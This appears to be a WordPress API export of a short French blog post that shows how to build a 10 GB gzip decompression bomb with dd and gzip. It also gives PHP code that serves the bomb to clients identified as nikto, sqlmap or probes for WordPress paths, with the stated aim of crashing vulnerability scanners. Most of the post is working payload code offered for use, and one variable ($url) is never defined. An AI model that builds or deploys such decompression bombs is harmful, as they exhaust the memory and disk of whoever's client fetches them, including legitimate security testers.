{"id":327,"date":"2017-07-14T11:53:55","date_gmt":"2017-07-14T09:53:55","guid":{"rendered":"https:\/\/jm.garreta.eu\/blog\/?p=327"},"modified":"2017-07-13T12:21:41","modified_gmt":"2017-07-13T10:21:41","slug":"zip-bomb","status":"publish","type":"post","link":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/","title":{"rendered":"Zip Bomb"},"content":{"rendered":"

Pif paf pouf, et… zip !<\/p>\n

Hop, petit code pour cr\u00e9er une zip bomb du blog de Haschek<\/a> :<\/p>\n

dd if=\/dev\/zero bs=1M count=10240 | gzip > 10G.gzip<\/code><\/p>\n

Avec \u00e7a vous cr\u00e9ez un fichier zipp\u00e9 qui fera 10 Go une fois d\u00e9compress\u00e9.<\/p>\n

L’int\u00e9r\u00eat est de le transmettre via votre serveur web par ce code PHP par exemple :<\/p>\n

<?php
\n\/\/prepare the client to recieve GZIP data. This will not be suspicious
\n\/\/since most web servers use GZIP by default
\nheader(\"Content-Encoding: gzip\");
\nheader(\"Content-Length: \".filesize('10G.gzip'));
\n\/\/Turn off output buffering
\nif (ob_get_level()) ob_end_clean();
\n\/\/send the gzipped file to the client
\nreadfile('10G.gzip');<\/code><\/p>\n

Puis d’ins\u00e9rer le script suivant sur une de vos pages pour transmettre ce fichier :<\/p>\n

<?php
\n$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');<\/code><\/p>\n

\/\/check for nikto, sql map or \"bad\" subfolders which only exist on wordpress
\nif (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp\/'))
\n{
\nsendBomb();
\nexit();
\n}<\/code><\/p>\n

function sendBomb(){
\n\/\/prepare the client to recieve GZIP data. This will not be suspicious
\n\/\/since most web servers use GZIP by default
\nheader(\"Content-Encoding: gzip\");
\nheader(\"Content-Length: \".filesize('10G.gzip'));
\n\/\/Turn off output buffering
\nif (ob_get_level()) ob_end_clean();
\n\/\/send the gzipped file to the client
\nreadfile('10G.gzip');
\n}<\/code><\/p>\n

function startsWith($a, $b) {
\nreturn strpos($a, $b) === 0;
\n}<\/code><\/p>\n

Et avec ceci les scanners de vuln\u00e9rabilit\u00e9s chercheront \u00e0 ouvrir le fichier et planteront.<\/p>\n

Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

Pif paf pouf, et… zip ! Hop, petit code pour cr\u00e9er une zip bomb du blog de Haschek : dd if=\/dev\/zero bs=1M count=10240 | gzip > 10G.gzip Avec \u00e7a vous cr\u00e9ez un fichier zipp\u00e9 qui fera 10 Go une fois d\u00e9compress\u00e9. L’int\u00e9r\u00eat est de le transmettre via votre serveur web par ce code PHP par … Continuer la lecture de Zip Bomb<\/span> →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"blog_gen_system_prompt":"","blog_gen_user_prompt":"","blog_gen_featured_img_prompt":"","blog_gen_inline_img_prompts":"","blog_gen_model":"","blog_gen_image_model":"","blog_gen_timestamp":"","blog_gen_type_article":"","blog_gen_longueur_cible":"","footnotes":""},"categories":[3],"tags":[208,207,205,206],"class_list":["post-327","post","type-post","status-publish","format-standard","hentry","category-informatique","tag-exploit","tag-nikto","tag-scanner","tag-zip-bomb"],"yoast_head":"\nZip Bomb - Le blog de Jean-Mich<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Zip Bomb - Le blog de Jean-Mich\" \/>\n<meta property=\"og:description\" content=\"Pif paf pouf, et… zip ! Hop, petit code pour cr\u00e9er une zip bomb du blog de Haschek : dd if=\/dev\/zero bs=1M count=10240 | gzip > 10G.gzip Avec \u00e7a vous cr\u00e9ez un fichier zipp\u00e9 qui fera 10 Go une fois d\u00e9compress\u00e9. L’int\u00e9r\u00eat est de le transmettre via votre serveur web par ce code PHP par … Continuer la lecture de Zip Bomb →\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/\" \/>\n<meta property=\"og:site_name\" content=\"Le blog de Jean-Mich\" \/>\n<meta property=\"article:published_time\" content=\"2017-07-14T09:53:55+00:00\" \/>\n<meta name=\"author\" content=\"jeanmich\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"jeanmich\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/\"},\"author\":{\"name\":\"jeanmich\",\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/#\\\/schema\\\/person\\\/5ed151f48f77a878fc9d3868c8a1ed7d\"},\"headline\":\"Zip Bomb\",\"datePublished\":\"2017-07-14T09:53:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/\"},\"wordCount\":85,\"commentCount\":0,\"keywords\":[\"exploit\",\"nikto\",\"scanner\",\"zip bomb\"],\"articleSection\":[\"Informatique\"],\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/\",\"url\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/\",\"name\":\"Zip Bomb - Le blog de Jean-Mich\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/#website\"},\"datePublished\":\"2017-07-14T09:53:55+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/#\\\/schema\\\/person\\\/5ed151f48f77a878fc9d3868c8a1ed7d\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/zip-bomb\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Zip Bomb\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/\",\"name\":\"Le blog de Jean-Mich\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/#\\\/schema\\\/person\\\/5ed151f48f77a878fc9d3868c8a1ed7d\",\"name\":\"jeanmich\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/816266d852c4595a2bfa578a991fa68bb8ed5e0217f3565158ca20c139873bda?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/816266d852c4595a2bfa578a991fa68bb8ed5e0217f3565158ca20c139873bda?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/816266d852c4595a2bfa578a991fa68bb8ed5e0217f3565158ca20c139873bda?s=96&d=mm&r=g\",\"caption\":\"jeanmich\"},\"url\":\"https:\\\/\\\/jm.garreta.eu\\\/blog\\\/author\\\/jeanmich\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Zip Bomb - Le blog de Jean-Mich","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/","og_locale":"fr_FR","og_type":"article","og_title":"Zip Bomb - Le blog de Jean-Mich","og_description":"Pif paf pouf, et… zip ! Hop, petit code pour cr\u00e9er une zip bomb du blog de Haschek : dd if=\/dev\/zero bs=1M count=10240 | gzip > 10G.gzip Avec \u00e7a vous cr\u00e9ez un fichier zipp\u00e9 qui fera 10 Go une fois d\u00e9compress\u00e9. L’int\u00e9r\u00eat est de le transmettre via votre serveur web par ce code PHP par … Continuer la lecture de Zip Bomb →","og_url":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/","og_site_name":"Le blog de Jean-Mich","article_published_time":"2017-07-14T09:53:55+00:00","author":"jeanmich","twitter_misc":{"\u00c9crit par":"jeanmich","Dur\u00e9e de lecture estim\u00e9e":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/#article","isPartOf":{"@id":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/"},"author":{"name":"jeanmich","@id":"https:\/\/jm.garreta.eu\/blog\/#\/schema\/person\/5ed151f48f77a878fc9d3868c8a1ed7d"},"headline":"Zip Bomb","datePublished":"2017-07-14T09:53:55+00:00","mainEntityOfPage":{"@id":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/"},"wordCount":85,"commentCount":0,"keywords":["exploit","nikto","scanner","zip bomb"],"articleSection":["Informatique"],"inLanguage":"fr-FR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/jm.garreta.eu\/blog\/zip-bomb\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/","url":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/","name":"Zip Bomb - Le blog de Jean-Mich","isPartOf":{"@id":"https:\/\/jm.garreta.eu\/blog\/#website"},"datePublished":"2017-07-14T09:53:55+00:00","author":{"@id":"https:\/\/jm.garreta.eu\/blog\/#\/schema\/person\/5ed151f48f77a878fc9d3868c8a1ed7d"},"breadcrumb":{"@id":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jm.garreta.eu\/blog\/zip-bomb\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/jm.garreta.eu\/blog\/zip-bomb\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/jm.garreta.eu\/blog\/"},{"@type":"ListItem","position":2,"name":"Zip Bomb"}]},{"@type":"WebSite","@id":"https:\/\/jm.garreta.eu\/blog\/#website","url":"https:\/\/jm.garreta.eu\/blog\/","name":"Le blog de Jean-Mich","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jm.garreta.eu\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Person","@id":"https:\/\/jm.garreta.eu\/blog\/#\/schema\/person\/5ed151f48f77a878fc9d3868c8a1ed7d","name":"jeanmich","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/secure.gravatar.com\/avatar\/816266d852c4595a2bfa578a991fa68bb8ed5e0217f3565158ca20c139873bda?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/816266d852c4595a2bfa578a991fa68bb8ed5e0217f3565158ca20c139873bda?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/816266d852c4595a2bfa578a991fa68bb8ed5e0217f3565158ca20c139873bda?s=96&d=mm&r=g","caption":"jeanmich"},"url":"https:\/\/jm.garreta.eu\/blog\/author\/jeanmich\/"}]}},"_links":{"self":[{"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/posts\/327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/comments?post=327"}],"version-history":[{"count":1,"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/posts\/327\/revisions"}],"predecessor-version":[{"id":328,"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/posts\/327\/revisions\/328"}],"wp:attachment":[{"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/media?parent=327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/categories?post=327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jm.garreta.eu\/blog\/wp-json\/wp\/v2\/tags?post=327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}